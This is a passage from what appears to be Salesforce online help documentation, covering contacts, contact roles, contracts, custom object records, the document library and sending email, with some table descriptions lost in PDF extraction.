contact, any related items are also restored including any inactive Self-Service username.
You cannot delete contacts that have associated:
Cases
Contracts
Service contracts
Partner user
Assets with cases
An active Self-Service user
An active Customer Portal user
Note: You can delete a contact if you are an administrator, the contact owner, or a user above the contact owner in
the organization role hierarchy, and if you have the appropriate user permission. If you delete or remove a tasks primary
218
Contacts
contact, another contact becomes the primary contact in its place. You can edit the task to manually select another
primary contact.
See Also:
Recycle Bin
Deleting Mass Data
Merging Duplicate Contacts
Read on contacts
See Also:
Search Overview
What is a Person Account?
219
Contact Roles
CONTACT ROLES
Contact Roles Overview
Available in: All Editions except Database.com
A contact role defines the part that a contact or person account plays in a specific account, case, contract, or opportunity. For
example, Tom Jones might be the Decision Maker for the opportunity, and Mary Smith might be the Evaluator. You can
assign a contact role to any contact or person account that affects your account, case, contract, or opportunity. Contacts and
person accounts can have different contact roles on various accounts, cases, contracts, or opportunities.
The Contact Roles related list of an account, case, contract, or opportunity displays the roles that each contact or person
account plays in that record. On person account detail pages, the Opportunity Contact Roles related list displays the opportunities
on which the person account is listed in the Account Name field of the opportunity.
Note: Users must have the appropriate user permissions and sharing access to view the contact information for any
person listed in the appropriate contact roles related lists.
See Also:
Viewing and Editing Contact Roles
Adding Contact Roles
What is a Person Account?
220
Contact Roles
The Contact Roles related list of an account, case, contract, or opportunity displays the roles that each contact or person
account plays in that record. On person account detail pages, the Opportunity Contact Roles related list displays the opportunities
on which the person account is listed in the Account Name field of the opportunity.
To add a contact role for the account, case, contract, or opportunity, click New in the Contact Roles related list. See Adding
Contact Roles on page 222.
To send an email to all contact roles on a case, click Send an Email in the Contact Roles related list. See Sending Email
on page 260. If a contact role does not have an email address specified on his or her contact record, the contact is not
included in the email.
To update a contact role, click Edit next to a contact role. Click Save when you have finished making changes.
To mark a contact or person account as primary on the account, contract, or opportunity, click Edit next to the contact
role entry, and select the Primary option.
Note: On case contact roles, the Primary option is not available. The primary contact on a case is always the
contact listed under Contact Name in the Case Detail section.
To delete a contact role, click Del next to the contact role you want to delete.
To create an opportunity related to a person account, click New in the Opportunity Contact Roles related list on a person
account.
See Also:
Contact Roles Overview
Adding Contact Roles
Contact Role Fields
What is a Person Account?
221
Contact Roles
See Also:
Contact Roles Overview
Viewing and Editing Contact Roles
Contact Role Fields
What is a Person Account?
222
Contracts
Description
Contact
Primary
Role
See Also:
Viewing and Editing Contact Roles
Adding Contact Roles
What is a Person Account?
CONTRACTS
Contracts Overview
Available in: Professional, Enterprise, Unlimited, and Developer Editions
A contract is a written agreement between two or more parties. Many companies use contracts to define the terms for doing
business with other companies.
Use Salesforce to establish and document the contracts you have with your accounts. Then, track the contract through your
organizations approval process and use workflow alerts to notify yourself when to initiate contract renewals.
223
Contracts
Contracts Home
See Also:
Contracts Home
Administrator tip sheet: Getting Started with Contracts
Contracts Home
Available in: Professional, Enterprise, Unlimited, and Developer Editions
Read on contracts
To view contracts:
Read on contracts
To create contracts:
Create on contracts
AND
Read on accounts
To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit.
In the Recent Contracts section, select an option from the drop-down list to display a brief list of the top contracts
matching that criteria. From the list, you can select any contract to go directly to the contract detail. Contract Name
displays in this list if you have added it to your contract page layout. Toggle the Show 25 items and Show 10 items links
to change the number of items that display. The fields you see are determined by the Contracts Tab search layout defined
by your administrator and by your field-level security settings (available in Enterprise, Unlimited, and Developer Editions
only). The Recent Contracts options are:
Recent Contracts Choice
Description
Recently Created
Recently Modified
Recently Viewed
224
Contracts
Description
from your recent items and includes records owned by you
and other users.
Approval Pending
See Also:
Contracts Overview
Cloning Contracts
Deleting Contracts
Creating Custom List Views
Displaying and Editing Contracts
Creating Contracts
Read on contracts
To create contracts:
Create on contracts
AND
Read on accounts
The contracts list page displays a list of contracts that match your current view. To show a filtered list of items, select a
predefined list from the View drop-down list, or click Create New View to define your own custom view. To edit or delete
any view you created, select it from the View drop-down list and click Edit.
Click a contract number to view the detail. Click Edit or Del to edit or delete a contract.
If Chatter is enabled, click or to follow or stop following a contract in your Chatter feed.
Click New Contract select Contract from the Create New drop-down list in the sidebar to create a contract.
Click any column heading to sort in ascending or descending order using that columns information.
225
Contracts
At the top of the list, click a letter to display the contents of the sorted column that begin with that character.
See Also:
Displaying and Editing Contracts
Creating Contracts
Deleting Contracts
Enabling the Customer Portal for Contacts and Person Accounts
Customizing User Interface Settings
Working with Enhanced Lists
Printing List Views
Using Inline Editing in Lists
Read on contracts
To change contracts:
Edit on contracts
AND
Read on accounts
Activate Contracts
Displaying Contracts
Once you have located a contract on the contracts home or list pages, click the contract number to display detailed
information. From an account, click the contract number in the Contracts related list to display the contract. All contracts
associated with the account are listed in the Contracts related list. If hover details are enabled, hover over any lookup
field on the detail page to view key information about a record before clicking into that record's detail page.
Viewing Contract Updates and Comments (Chatter)
Display a Chatter feed of updates, comments, and posts about the contract.
Editing Contracts
To update a contract, click Edit, and then change the fields that you want to update. When you have finished, click
Save. You can also select Save & New to save the current contract and create another. Users with the Edit permission
on contracts can edit contracts until they are activated. Use inline editing to edit fields directly on the detail page. If
inline editing isn't enabled, contact your administrator.
226
Contracts
See Also:
Contract Approval Requests
Contract History
Contract Fields
Creating Contracts
Cloning Contracts
Deleting Contracts
Tagging Records
Searching for Contracts
The Approval Requests related list on a contract detail page tracks the status of each approval request. This list displays
information about each approval request and includes the status and any approve or reject comments. When the status is
Pending, no comment is included.
See Also:
Approving Contracts
227
Contracts
Contract History
Available in: Professional, Enterprise, Unlimited, and Developer Editions
The Contract History related list of a contract detail page tracks changes to a contract while its status is either In Approval
Process or Activated. Any time a user modifies any of the standard or custom fields whose history is set to be tracked on the
contract, a new entry is added to the Contract History related list. All entries include the date, time, nature of the change, and
who made the change. Modifications to the related lists on the contract are not tracked in the contract history. For information
about setting up which fields are tracked, see Tracking Field History on page 1100.
Display a Chatter feed of updates, comments, and posts about the contract.
Note: If Chatter isn't enabled, contact your administrator.
Show or hide Chatter feeds using the Show Chatter and Hide Chatter links at the top of a feed.
To view a single feed update, click the timestamp below the update, for example, Yesterday at 12:57 AM. To view the full
feed, above the update, click All Updates.
Following Contracts
When you follow a contract, your Chatter feed includes field changes and contract feed updates.
See Also:
Chatter Overview
Using Chatter Feeds
228
Contracts
Creating Contracts
Creating Contracts
Available in: Professional, Enterprise, Unlimited, and Developer Editions
Read on contracts
To create contracts:
Create on contracts
AND
Read on accounts
You must have at least read access to an account in order to associate a contract with it. To create a contract:
1. Select Contract from the Create New drop-down list in the sidebar, or click New next to Recent Contracts on the contracts
home page. Select an Account Name to associate the new contract with that account.
Alternatively, view the account record first and click New in the Contracts related list.
2. Choose a contract status.
3. Enter the start date of the contract.
4. Enter the number of months that the new contract will be in effect.
Note: Your administrator may have configured Salesforce to calculate Contract End Date based on Contract
Start Date and Contract Term. If Contract End Date is auto-calculated, it will not display on the contracts
edit page.
5. Enter the rest of the information for the new contract. For a definition of each field, see Contract Fields on page 230.
6. Click Save.
The contract is listed under the Contracts related list of the account.
Enterprise, Unlimited, and Developer Edition organizations can activate record types that prompt you to choose a Record
Type when creating a record. This determines the picklist values and status values available when creating and editing a record.
For instructions on enabling record types for contracts, see Managing Record Types on page 1268.
If your organization uses divisions, the division of a new contract is automatically set to the division of the related account.
See Also:
Cloning Contracts
Contract Fields
Contracts Home
Deleting Contracts
229
Contracts
Cloning Contracts
Cloning Contracts
Available in: Professional, Enterprise, Unlimited, and Developer Editions
Read on contracts
To clone contracts:
Create on contracts
AND
Read on accounts
The Clone button on a contract quickly creates a new contract with the same information as the existing contract. For example,
you can add multiple contracts for the same account.
Click Clone on an existing contract. Enter or change any information for the new contract and click Save.
Note: If you have read-only access to a field, the value of that field is not carried over to the cloned record.
See Also:
Contract Fields
Deleting Contracts
Contract Fields
Available in: Professional, Enterprise, Unlimited, and Developer Editions
A contract has the following fields, listed in alphabetical order. Depending on your page layout and field-level security settings,
some fields may not be visible or editable. (Field-level security is available in Enterprise, Unlimited, and Developer Editions
only.)
Field
Description
Account Name
Activated By
Activated Date
Billing Street
230
Contracts
Contract Fields
Field
Description
Billing City
Billing State/Province
Billing Country
Company Signed By
Contract Division
Contract Name
Contract Number
Contract Owner
Created By
Customer Signed By
Description
Last Modified By
Number of days before the contract end date you want to send
the notification, if the contract owner and account owner
wants to be notified of an upcoming contract expiration.
231
Contracts
Contract Fields
Field
Description
Shipping Street
Shipping City
Shipping State/Province
Shipping Country
Special Terms
Status
Indicates the stage that the contract has reached in the contract
business process. Your organization can add values to this
picklist within three system-defined contract status categories:
Draft, In Approval Process, and Activated. You
can use these status categories to track contracts within your
business process using reports and views.
Important: The Status field cannot be updated by
approval processes. If you want to use the contract
status as part of an approval process, Salesforce
recommends creating a custom status field.
Custom Links
See Also:
Displaying and Editing Contracts
Creating Contracts
Cloning Contracts
232
Contracts
Approving Contracts
Approving Contracts
Available in: Professional, Enterprise, Unlimited, and Developer Editions
Approve Contracts
Your organization may already have a process for approving contracts. For example, you may have one person designated for
each team to approve contracts. You may also have one administrator designated to activate contracts. If so, your Salesforce
administrator can customize Salesforce to give the appropriate people the permissions they need to perform their part of the
contract life-cycle.
Before you begin customizing Salesforce, define the life-cycle of a contract in your organization. Use the following basic
contract approval process to get started:
1. A user creates a contract. This user needs to have the Edit permission on contracts. All newly created contracts have a
Draft status.
2. The contract owner sends an approval request to have the contract approved by a team lead. The first approval request on
a contract changes its status to In Approval Process.
3. The team lead accepts or rejects the contract approval request. If rejected, the contract owner can make changes to the
contract and submit another approval request. The status remains In Approval Process whether the approval request was
accepted or rejected.
4. If accepted, a contract administrator activates the contract. Users with the Activate Contracts permission can activate a
contract. Activating a contract changes the contract status to Activated and makes the contract read only. Activated
contracts cannot be changed and only users with the Delete Activated Contracts permission can delete a contract with
Activated status.
233
Contracts
Activating Contracts
Click Approve to accept the contract as is and notify the contract owner that the request is approved. You will be prompted
to select an approval request status and enter any approval request comments. Click Save to send and save the approval
request.
Click Reject to return the approval request. Select an approval request status and enter any comments that you want
attached to the approval request. Click Save to send your response and save the approval request.
Note: You can use the standard contracts approval functionality alone or together with approval processes.
The Status field cannot be updated by approval processes. If you want to use the contract status as part of an approval
process, Salesforce recommends creating a custom status field.
See Also:
Activating Contracts
Displaying and Editing Contracts
Creating Contracts
Activating Contracts
Available in: Professional, Enterprise, Unlimited, and Developer Editions
Activate Contracts
AND
Read and Edit on contracts
Administrators and users with the Activate Contracts permission can activate contracts. To edit an activated contract, a user
must have the Activate Contracts permission.
Activating a contract changes the contract status to Activated and makes the contract read only. Activated contracts cannot
be changed and only users with the Delete Activated Contracts permission can delete a contract with Activated status. To
activate a contract:
1. Select the contract you want to activate.
2. Click Activate. The status of an activated contract is Activated.
See Also:
Approving Contracts
Displaying and Editing Contracts
234
Contracts
Deleting Contracts
Deleting Contracts
Available in: Professional, Enterprise, Unlimited, and Developer Editions
Delete on contracts
AND
Read on accounts
To delete a contract, click Del next to the contract on the contracts list page. You can also delete a contract by clicking Delete
on the contract detail page.
When you delete a contract, all related notes, attachments, events and tasks, history, and approval requests are deleted.
Associated accounts are not deleted with the contract. The deleted contract is moved to the Recycle Bin. If you undelete the
contract, any related items are also restored.
See Also:
Recycle Bin
Activating Contracts
Read on contracts
235
You can also create a contract list view to find contracts that match specific criteria.
See Also:
Search Overview
Custom objects records store information that is unique and important to you and your organization. For example, your
organization may use a custom object called Quotes to store data for your company's sales quotes. You can also use custom
objects for custom applications, such as tracking software enhancements in a development life-cycle.
Your administrator first defines the custom object and its properties, such as custom fields, relationships to other types of data,
page layouts, and a custom user interface tab. Once the custom object is created and deployed to users, you can enter data to
create individual custom object records. If your administrator has created a tab for the custom object, the tab displays a home
page that lets you quickly create and locate custom object records. You can also sort and filter your custom object records using
standard and custom list views. In addition, the tab lets you view and edit detailed information on each custom object record
to which you have access.
Administrators, and users with the Modify All Data permission, can import custom objects. See What Is Imported for
Custom Objects? on page 785.
Note: If you need information on a specific custom object, please contact your Salesforce administrator about creating
custom help for your custom objects. Salesforce Online Help covers the standard objects provided with the initial
Salesforce integration.
See Also:
Custom Objects Home
Defining Custom Objects
236
Clicking on a custom object tab displays the tab home page. The name of a custom object tab is the plural form of the custom
object as defined by your administrator.
To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. List views let you display a list of records that match specific criteria, such as all custom objects for
a tab or just the ones you own. To edit or delete any view you created, select it from the View drop-down list and click
Edit.
If custom objects are shared with external contacts via Salesforce to Salesforce, choose one of the list views under [Custom
Object Name] from Connections to view the custom objects that your business partners have shared with you.
In the Recent section, select an item from the drop-down list to display a brief list of the top custom object records matching
that criteria. From the list, you can click any custom object name to go directly to the detail. Toggle the Show 25 items
and Show 10 items links to change the number of items that display. The fields you see are determined by the Custom
Object Tab search layout defined by your administrator and by your field-level security settings (available in Enterprise,
Unlimited, and Developer Editions only). The key list choices are:
Recent Custom Objects Choice
Description
Recently Viewed
Recently Created
Recently Modified
237
Note: If you need information on a specific custom object, please contact your Salesforce administrator about creating
custom help for your custom objects. Salesforce Online Help covers the standard objects provided with the initial
Salesforce integration.
See Also:
Custom Object Record Overview
Displaying and Editing Custom Object Records
Creating Custom Object Records
Deleting Custom Object Records
Creating Custom List Views
Custom Help Overview
Replacing Salesforce Online Help
The custom objects list page displays a list of custom object records in your current view. A list view includes custom object
records of one type only; you cannot view more than one type of custom object in a single list view.
Note: Buttons and links mentioned in the online help only display for those users who have the appropriate user
permissions to use them.
Click a custom object name to view the custom object record detail. Click Edit or Del next to a custom object record name
to edit or delete the record.
To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit.
If Chatter is enabled, click Chatter in the top-right corner to see feed updates for the list view. Click List to toggle
back to the list view.
To take ownership of custom object records in a queue, view the queue list view, check the box next to one or more records,
and then click Accept.
or
Note: You can view and accept records only from queues you belong to, or if you are higher in the role hierarchy
than a queue member. Administrators, users with the Modify All object-level permission for the given object,
and users with the Modify All Data permission, can view and take records from any queue.
238
To transfer ownership of multiple records at once, select the box next to one or more custom object records and click
Change Owner. Enter the new record owner, optionally select Send Notification Email to send an email to the
new record owner, and click Save.
Click New Custom Object Name or select the custom object name from the Create New drop-down list in the sidebar
to create a new custom object of that type.
Click any column heading to sort in ascending or descending order using that columns information.
At the top of the list, click a letter to display the contents of the sorted column that begin with that character.
Note: If you need information on a specific custom object, please contact your Salesforce administrator about creating
custom help for your custom objects. Salesforce Online Help covers the standard objects provided with the initial
Salesforce integration.
See Also:
Custom Object Record Overview
Customizing User Interface Settings
Working with Enhanced Lists
Using Inline Editing in Lists
Printing List Views
Note: Buttons and links mentioned in the online help only display for those users who have the appropriate user
permissions to use them.
Displaying Custom Object Records
Once you have located a custom object record on the custom objects tab home or list pages, click the custom object
record name to display detailed information. If hover details are enabled, hover over any lookup field on the detail page
to view key information about a record before clicking into that record's detail page.
If the Service Cloud console is set up to include custom objects, select it from the Force.com app menu to find, view,
and edit custom object records and their related items on one screen. See Using a Service Cloud Console on page 3314.
239
See Also:
Custom Object Record Fields
Creating Custom Object Records
Deleting Custom Object Records
Searching for Custom Object Records
Tagging Records
Using Custom Related Lists
240
See Also:
Custom Object Record Fields
Custom Objects Home
Defining Custom Objects
241
The Clone button on a custom object record quickly creates a new custom object record with the same information as the
existing record. To clone a custom object record:
1. Click Clone on an existing custom object record.
2. Enter or change any information for the new record.
3. Click Save.
Note: If you have read-only access to a field, the value of that field is not carried over to the cloned record.
See Also:
Custom Object Record Fields
Custom related lists display on the lower portion of the detail page for another record. They list the custom object records
that are associated with that record.
From a custom related list, you can:
242
Your administrator defines whether a custom object can be related to another type of record via master-detail or lookup
relationships. The administrator also specifies whether a custom related list displays on the page layout of the associated record.
For more information, see Overview of Relationships on page 1740.
Note: If you need information on a specific custom object, please contact your Salesforce administrator about creating
custom help for your custom objects. Salesforce Online Help covers the standard objects provided with the initial
Salesforce integration.
See Also:
Custom Object Record Overview
Displaying and Editing Custom Object Records
Creating Custom Object Records
Deleting Custom Object Records
Custom object record fields contain the data you enter for your custom object records. Here is a description of the fields (in
alphabetical order) that make up a custom object record. Some of these fields may not be visible or editable depending on your
page layout and field-level security settings. (Field-level security is available in Enterprise, Unlimited, and Developer Editions
only.)
Your administrator may also have defined additional custom fields.
Field
Description
Created By
Currency
Division
Last Modified By
Name
243
Field
Description
key lists on tab home pages. By default, this field is added to
the custom object page layout as a required field.
Assigned owner of the custom object record. If the custom
object becomes the detail side of a master-detail relationship,
this field is removed, as ownership of the data is controlled by
the master object, or by the primary master object for a custom
object with two master-detail relationships.
Owner
Note: If you need information on a specific custom object, please contact your Salesforce administrator about creating
custom help for your custom objects. Salesforce Online Help covers the standard objects provided with the initial
Salesforce integration.
See Also:
Custom Objects Home
Custom Object Record Overview
To delete a custom object record, click Del next to the record on the custom objects list page or in the custom related list of
an associated record. You can also delete a custom object record by clicking Delete on the custom object record detail page.
When you delete a custom object record, all related events, tasks, notes, and attachments are also deleted. If the custom object
is the master object in a master-detail relationship, any associated detail records are also deleted. If the custom object is the
detail side of a master-detail relationship, any associated records are not deleted.
The deleted custom object record is moved to the Recycle Bin. If you undelete the record, any related items are also restored.
You can't delete more than 100,000 combined objects and child records at the same time. To delete an object that has more
than 100,000 child records, first delete an appropriate number of its child records.
244
Note: You can delete a custom object record if you are an administrator, the record owner, or a user above the record
owner in the organization role hierarchy, and if you have the appropriate user permission. Custom objects that are on
the detail side of a master-detail relationship do not have an Owner field and can be deleted by any user who has access
to edit the associated master record.
See Also:
Recycle Bin
Overview of Relationships
Managing Custom Objects
Deleting Relationship Groups
Removing Members from Relationship Group Members
See Also:
Search Overview
245
Your administrator defines the default sharing model for your entire organization. You can change this model to extend sharing
to more users than the default set by your administrator. However, you cannot change the sharing model to make it more
restrictive than the default.
To view and manage sharing details, click Sharing on the custom object record detail page. The Sharing Detail page lists the
users, groups, roles, and territories that have sharing access to the record. On this page, you can do any of the following:
To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit.
Click Add to grant access to the record for other users, groups, roles, or territories.
Note: To share a custom object record with another user, that user must have the Read permission on the custom
object.
Click Expand List to view all users that have access to the record.
For manual sharing rules that you created, click Edit or Del next to an item in the list to edit or delete the access level.
Note: If you need information on a specific custom object, please contact your Salesforce administrator about creating
custom help for your custom objects. Salesforce Online Help covers the standard objects provided with the initial
Salesforce integration.
See Also:
Granting Access to Records
Viewing Which Users Have Access
246
Documents
DOCUMENTS
Document Library Overview
Available in: All Editions except Database.com
A document library is a place to store files without attaching them to accounts, contacts, opportunities, or other records. Each
document in the document library resides in a folder. The folders attributes determine the accessibility of the folder and the
documents within it.
To learn the different ways files are used in Salesforce, see Differences between Files, Salesforce CRM Content, Salesforce
Knowledge, Documents, and Attachments on page 2441.
See Also:
Documents Home
File Size Limits in Salesforce
Monitoring Resources
Salesforce CRM Content Overview
Documents Home
Available in: All Editions except Database.com
Read on documents
To view documents:
Read on documents
Create on documents
247
Documents
Note: If the Documents tab is not visible, you can customize your display to show it. For more information, see
Customizing Your Display on page 42.
See Also:
Document Library Overview
Viewing Document Lists
Displaying and Editing Document Properties
Uploading and Replacing Documents
Deleting Documents
Changing Document Authors
Searching for Documents
Managing Folders
Read on documents
Edit on documents
To replace documents:
Edit on documents
To delete documents:
Delete on documents
The documents list page displays a list of documents in a selected folder. From this page, you can view detailed document
information or manipulate the document.
Click the document name to view document property details. For information on the document details, see Displaying
and Editing Document Properties on page 249.
Click Edit next to a document to view document file properties. For more details, see Displaying and Editing Document
Properties on page 249.
248
Documents
Click Del to remove the document from the document library. All deleted documents will be moved to the Recycle Bin.
For more information, see Deleting Documents on page 253.
Click View to open the file in its associated application. If a file type is not recognized or the application is not loaded on
your machine, Salesforce displays a standard download dialog prompting you to choose a save option.
Choose a folder to view a list of documents stored in that folder.
Click any column heading to sort the documents in ascending order by the information in that column. Click the same
column heading again to sort documents in descending order.
At the top and bottom of the list, click a letter to display the contents of the sorted column that begin with that character.
Click the Next Page or Previous Page links to go to the next or previous set of documents.
At the bottom of the document list, select fewer or more to view a shorter or longer display list.
Click Printable View to display the current list view in a format that is ready for printing.
Note: If you can't find a document, you may not have access to the folder that contains it. For more information about
folders, see Managing Folders on page 1316.
Read on documents
To update properties:
Edit on documents
To replace documents:
Edit on documents
To move documents:
Edit on documents
To delete documents:
Delete on documents
Displaying Documents - Once you have located a document on the documents home or list pages, click the document name
to display detailed information.
Editing Documents - To update document properties, click Edit, and then change the properties you want updated. When
you have finished, click Save. See Document Properties on page 252 for a description of the document properties.
Deleting Documents - To delete a document, click Delete. See Deleting Documents on page 253 for more information about
deleting documents.
Updating Documents - To replace a document with an updated version, click Replace Document. See Uploading and
Replacing Documents on page 250 for instructions on replacing documents.
Emailing Documents - To email a document to a contact, click Email Document, fill in the details of the email, and click
Send. The document is sent as an attachment to the email and is logged in the Activity History for the contact. Documents
that reference URLs rather than physical files cannot be emailed. For a document that is an image embedded in an HTML
email template, such as a logo in a letterhead, make sure the document is marked as Externally Available on the
249
Documents
Documents tab so that a user who does not have a Salesforce username and password can view the image when it is received
in an email.
Searching a Document - To search for a document, enter search terms and click Find Document. A list of documents that
match your search terms displays. You can search for terms using the following fields:
Document Name
Keywords
Description
If Document Content Searchable is checked, the content of a document can also be searched.
Viewing Folder Contents - To view all the documents in a folder, click the folder name.
Moving Documents - To store a document in a different folder, click Edit, choose a new folder, and click Save.
To return to the last list page you viewed, click Back to list at the top of any documents detail page. See Navigating on page
13 for more information.
See Also:
Tagging Records
Uploading and Replacing Documents
Searching for Documents
Create on documents
To replace documents:
Edit on documents
Internal Use Only if the document is confidential. Checking this box does not change the visibility of the file but
250
Documents
Make the image available from HTML email templates without requiring a Salesforce username and password
Use the image as a custom tab icon or custom app logo, which do require a Salesforce username and password to
view
Display the image in meeting requests
5.
6.
7.
8.
To upload a document, click Browse, choose the file, and click Open.
To store a link to the document, enter the location of the document. Enter a path and file name or a URL such as:
C:\Quotes\quote.doc, \\Server\Departments\Marketing\logo.doc, or http://www.salesforce.com.
9. Click Save.
Replacing a Document
To replace a document with an updated version:
1. Display the document you want to replace. For instructions on locating a document in the document library, see Searching
for Documents on page 255.
2. Click Replace Document.
3. Select a document or path option.
To upload a replacement, click Browse, choose the file, and click Open.
To store a link to the replacement, enter the location of the replacement. Enter a path and file name or a URL such
as: C:\Quotes\quote.doc, \\Server\Departments\Marketing\logo.doc, or http://www.salesforce.com.
Documents stored as links cannot be attached to emails, but they save space in your document library.
If document content search is enabled, Salesforce will also perform a full-text search of the document. When a new
document is uploaded or an old one is replaced, its contents are available for searches. For more information, see Searching
for Documents.
Salesforce stores the most recent upload date as the modified date.
You can upload documents that have file names of up to 255 characters including the extension.
The size limit for any document you upload is 5 MB. The maximum size for a custom-app logo is 20 KB.
Your organizations used file storage includes all files stored in the document library.
If the Disallow HTML documents and attachments security setting is enabled for your organization, you cannot
upload files with the following file extensions: .htm, .html, .htt, .htx, .mhtm, .mhtml, .shtm, .shtml, .acgi.
See Also:
Searching for Documents
File Size Limits in Salesforce
Monitoring Resources
251
Documents
Document Properties
Document Properties
Available in: All Editions except Database.com
Below is a description of the properties in alphabetical order that are stored for each document in the document library.
Field
Description
Author
Created By
Modified By
Folder
Document Name
Description
252
Documents
Deleting Documents
Field
Description
The Internal Use Only and Externally Available
Image checkboxes are mutually exclusive; you cannot select
both.
Keywords
Path
Size
Type
See Also:
Displaying and Editing Document Properties
Viewing Document Lists
Deleting Documents
Available in: All Editions except Database.com
Delete on documents
To restore documents:
Delete on documents
To delete a document, click Del next to the document on the documents list page. Alternatively, click Delete on the documents
detail page.
When you delete a document, Salesforce stores it in the Recycle Bin. You can restore the document to your document library
within that time by clicking Undelete from the Recycle Bin.
Note:
You can delete any document in your personal folder but you can only delete a document in a public folder if you
have the Manage Public Documents permission.
253
Documents
If you delete a document that's included in a letterhead or HTML email template, any emails using the letterhead
or template display a broken link in its place. You can fix the broken link by removing the document from the
Recycle Bin.
You can't delete a document that's being used as a custom logo in meeting requests. To delete it, you must either
select another document to use as a logo or uncheck the option to display a custom logo in meeting requests.
See Also:
Managing Folders
Recycle Bin
Edit on documents
Since documents are stored in folders that control user access, documents do not have owners like other types of records, but
they do have authors. The author represents the user that originally uploaded the document file.
To change the author of a document:
1. View the document you want to modify.
2. Click Change next to the Author field.
The Change link displays only on the detail page, not the edit page. If you do not see the Change link, you may not have
sufficient privileges to change a document author.
3. Enter a new author name. Alternatively, click the lookup icon to choose from a list of users.
4. Check the Send Notification Email box if you would like to alert the new author of this change.
Note: When you change document authorship, Salesforce does not change the documents visibility.
See Also:
Managing Folders
254
Documents
Read on documents
To find specific documents, use the Find Document button on the documents home page.
1. Click the Documents tab.
2. Enter your search terms. Salesforce searches the following fields:
Document Name
Keywords
Description
255
Documents
The following file types are supported for a document content search.
Note: The contents of documents that exceed the maximum sizes are not searched; however, the document fields are
still searched. Only the first 1,000,000 characters of text are searched. Text beyond this limit is not included in the
search.
File Type
File Extensions
Maximum Size
5,120 KB
.html
.xhtml
PDF
PPT
.pdf
.pot
25,600 KB
25,600 KB
.pps
.ppt
.pptx
RTF
Text
.rtf
.c
5,120 KB
5,120 KB
.cpp
.css
.csv
.ini
.java
.log
.sql
.txt
Word
.doc
25,600 KB
.docx
.docm
.dot
XLS
.xls
.xlsm
.xlsx
.xlt
256
Email Overview
File Type
File Extensions
Maximum Size
XML
.xml
5,120 KB
If a file extension is changed to a different format, it is not searched, even if both extensions are valid. For example, a .txt
file that is renamed to .rtf is not searched.
PDF and Word documents may have security restrictions that prevent them from being searched. To ensure that the
content is searchable, the content extraction property on your file must be set to Enabled when creating your document.
See Also:
Search Overview
Uploading and Replacing Documents
Search Fields
Refining Search Using Wildcards
Refining Search Using Operators
EMAIL
Email Overview
Available in: All Editions except Database.com
Mass email not available in: Personal, Contact Manager, and Group Editions
You can email contacts, leads, person accounts, and users in your organization directly from account, contact, lead, opportunity,
case, campaign, or custom object pages. There is no limit on the number of these emails sent individually.
With mass email in Professional, Enterprise, Unlimited, and Developer Edition organizations, you can email a list of contacts,
leads, or person accounts for small-scale sales or support. Mass email is intended to facilitate your business processes, not
replace your existing email application or handle mass-marketing campaigns.
Using the API, you can send single emails to a maximum of 1,000 external email addresses per day based on Greenwich Mean
Time (GMT). Single emails sent using the application don't count towards this limit.
You can send mass email to a total of 1,000 external email addresses per day per organization based on Greenwich Mean Time
(GMT). The maximum number of external addresses you can include in each mass email depends on the Edition of Salesforce
you are using:
Edition
Professional
250
257
Sending Email
Edition
Enterprise Edition
500
Unlimited Edition
1,000
The single and mass email limits don't take unique addresses into account. For example, if you have
johndoe@example.com in your email 10 times, that counts as 10 against the limit.
You can send an unlimited amount of email to your internal users. These limits also apply to emails sent using the
API and Apex.
In Developer Edition organizations and organizations evaluating Salesforce during a trial period, your organization
can send mass email to no more than 10 external email addresses per day. This lower limit does not apply if your
organization was created before the Winter '12 release and already had mass email enabled with a higher limit.
When you send an email, you can choose a predefined template for the message. To personalize your message, the template
can include merge fields that are replaced with information from the Salesforce record when the email is sent. For instance,
your organization may want to use a standard template to communicate solution information to customers with cases. Your
administrator maintains organization-wide templates, and you can maintain your own personal templates.
See Also:
Sending Email
Sending Mass Email
Editing Email Settings
Email Fields
Managing Email Templates
Force.com Connect for Microsoft Outlook Overview
What is a Person Account?
Testing Deliverability
Sending Email
Available in: All Editions except Database.com
Send Email
258
Sending Email
2. Optionally, specify the sending address of the email from the From drop-down list for emails associated with Email-to-Case
or On-Demand Email-to-Case; or if the email name or email address in your email settings is different from the email
name or email address on your user record.
When creating a new outbound Email-to-Case or On-Demand Email-to-Case message, the From address is auto-populated
with your name. When replying to an inbound message, the From address is auto-populated with the routing address to
which the email was sent.
If you previously defined any organization-wide addresses, the email addresses associated with your user profile also appear
in this drop-down list. Organization-wide addresses are not available for Mass Email, or Stay-in-Touch requests.
3. If you want to remove any HTML formatting and send a text email, click Switch to Text-Only. Click Switch to HTML
to use HTML formatting or to track the email.
4. Enter a contact, lead, or person account in the To: field. Only one name can be entered in the To: field. For contacts and
leads that have multiple email fields, you can select an email address.
5. Optionally, choose another record, such as an account, case, or custom object, to associate with the email.
6. Optionally, if you want other people to receive the email as primary recipients, enter email addresses in the Additional
To: field, or click the Additional To: link to select individuals from a list. These people do not need to be Salesforce
records. Email addresses can be separated by semicolons, commas, spaces, or new lines.
7. In the CC: and BCC: fields, enter any additional email addresses, or click the CC or BCC link to select individuals from
a list. Email addresses can be separated by semicolons, commas, spaces, or new lines.
If your organization has enabled compliance BCC emails, the BCC: field is not available and your Automatic Bcc setting
under My Email Settings is disabled.
8. Enter a subject and body for the email, or click Select Template to choose a predefined email template. Choose a folder
and select a template from the folder. If necessary, you can modify the content of the template in your email; however, you
cannot modify Custom templates.
Caution: If you modify the template contents, your changes affect only the HTML version of the email template.
The changes are not reflected in the text-only version of the email sent to recipients.
When replying to an Email-to-Case or On-Demand Email-to-Case email, the original email is included in the email
body. All or parts of this email can be deleted.
9. If you chose an HTML email template, use the format toolbar to format your text. For more information, see Using the
Format Toolbar. Available in Professional, Enterprise, Unlimited, and Developer Editions only.
10. Optionally, select Attach File to add a file. You can attach multiple files as long as the total size of all attached files does
not exceed 10 MB.
11. If Spell Checker is enabled for your organization, click Check Spelling to spell-check the body of the email. Spell Checker
does not support all the languages that Salesforce supports. For example, Spell Checker doesnt support Thai, Russian,
and double-byte languages, such as Japanese, Korean, or Chinese.
If you are using an email template, the Check Spelling button is available for text templates and Visualforce templates
without HTML tags.
12. Click Send.
If the recipient does not have an email address, Salesforce prompts you to edit the persons email address and click:
